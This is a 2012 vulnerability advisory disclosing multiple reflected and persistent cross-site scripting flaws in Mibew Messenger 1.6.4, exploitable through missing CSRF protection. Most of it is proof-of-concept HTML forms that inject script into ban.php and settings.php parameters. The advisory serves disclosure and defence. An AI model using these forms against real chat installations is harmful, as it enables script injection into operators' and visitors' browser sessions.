exploit the possibilities

Mibew Messenger 1.6.4 Cross Site Scripting

Mibew Messenger 1.6.4 Cross Site Scripting
Posted Jan 30, 2012
Authored by Filippo Cavallarin

Mibew Messenger version 1.6.4 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | f32c2798bd75a6a10e425d0591bc87c3

Mibew Messenger 1.6.4 Cross Site Scripting

Change Mirror Download
Advisory ID:  CSA-12001
Title: Mibew messenger multiple XSS
Product: mibew messenger
Version: 1.6.4 and probably prior
Vendor: mibew.org
Vulnerability type: XSS
Vendor notification: 2012-01-07
Public disclosure: 2012-01-24


Mibew messenger version 1.6.4 an probably below is vulnerable to multiple XSS (and persistent XSS).
They are all an POSTs and can be exploited due to the lack of CSRF protection



1) Input passed via the "address" and "threadid" POST parameters to /operator/ban.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.


2) Input passed via the "geolinkparams" POST parameter to /operator/settings.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.


3) Input passed via the "title" POST parameter to /operator/settings.php is not properly sanitised before being saved to database.
This input is returned to the Operator user without any check when a new chat window is open.


4) Input passed via the "chattitle" POST parameter to /operator/settings.php is not properly sanitised before being saved to database.
This input is returned to the Visitor user without any check when a new chat window is open.



The following PoC code is available:

BOF
<form method=post action="http://127.0.0.1/mibew164/operator/ban.php">
<input type=hidden name="address" value='codseq'>
<input type=hidden name="days" value="1">
<input type=hidden name="threadid" value='1"><script>alert(1)</script>'>
<input type=hidden name="comment" value="dasd">

<input type=submit value="exploit ban.php threadid - execute me twice">
</form>



<form method=post action="http://127.0.0.1/mibew164/operator/ban.php">
<input type=hidden name="address" value='codseq1"><script>alert(1)</script>'>
<input type=hidden name="days" value="1">
<input type=hidden name="comment" value="dasd">
<input type=hidden name="threadid" value='1'>

<input type=submit value="exploit ban.php address">
</form>



<form method=post action="http://127.0.0.1/mibew164/operator/settings.php">
<input type=hidden name="email" value='prova@prova.com'>
<input type=hidden name="title" value='bla bla bla'>
<input type=hidden name="logo" value='1'>
<input type=hidden name="hosturl" value='1'>
<input type=hidden name="usernamepattern" value='a'>
<input type=hidden name="chattitle" value='a'>
<input type=hidden name="geolink" value='a'>
<input type=hidden name="sendmessagekey" value='enter'>
<input type=hidden name="geolinkparams" value='<script>alert(1)</script>'>

<input type=submit value="exploit settings.php geolinkparams">
</form>


<!-- this set a persistent XSS that gets executed when OPERATOR opens a new chat -->

<form method=post action="http://127.0.0.1/mibew164/operator/settings.php">
<input type=hidden name="email" value='prova@prova.com'>
<input type=hidden name="title" value='<script>alert(1)</script>'>
<input type=hidden name="logo" value='1'>
<input type=hidden name="hosturl" value='1'>
<input type=hidden name="usernamepattern" value='a'>
<input type=hidden name="chattitle" value='a'>
<input type=hidden name="geolink" value='a'>
<input type=hidden name="sendmessagekey" value='enter'>
<input type=hidden name="geolinkparams" value=''>

<input type=submit value="exploit settings.php title">
</form>


<!-- this set a persistent XSS that gets executed when VISITOR opens a new chat -->

<form method=post action="http://127.0.0.1/mibew164/operator/settings.php">
<input type=hidden name="email" value='prova@prova.com'>
<input type=hidden name="title" value='prova'>
<input type=hidden name="logo" value='1'>
<input type=hidden name="hosturl" value='1'>
<input type=hidden name="usernamepattern" value='a'>
<input type=hidden name="chattitle" value='<script>alert(1)</script>'>
<input type=hidden name="geolink" value='a'>
<input type=hidden name="sendmessagekey" value='enter'>
<input type=hidden name="geolinkparams" value=''>

<input type=submit value="exploit settings.php chattitle">
</form>


EOF
Solution

no sulutions availabe yet



Filippo Cavallarin


C o d S e q
Development with an eye on security
------------------------------------------------------------------------
Castello 2005, 30122 Venezia
Tel: 041 88 761 58 - Fax: 041 81 064 714 - Cell: 346 66 93 254
c.f. CVLFPP82B27L736J - p.iva 03737650279
http://www.codseq.it - filippo.cavallarin@codseq.it

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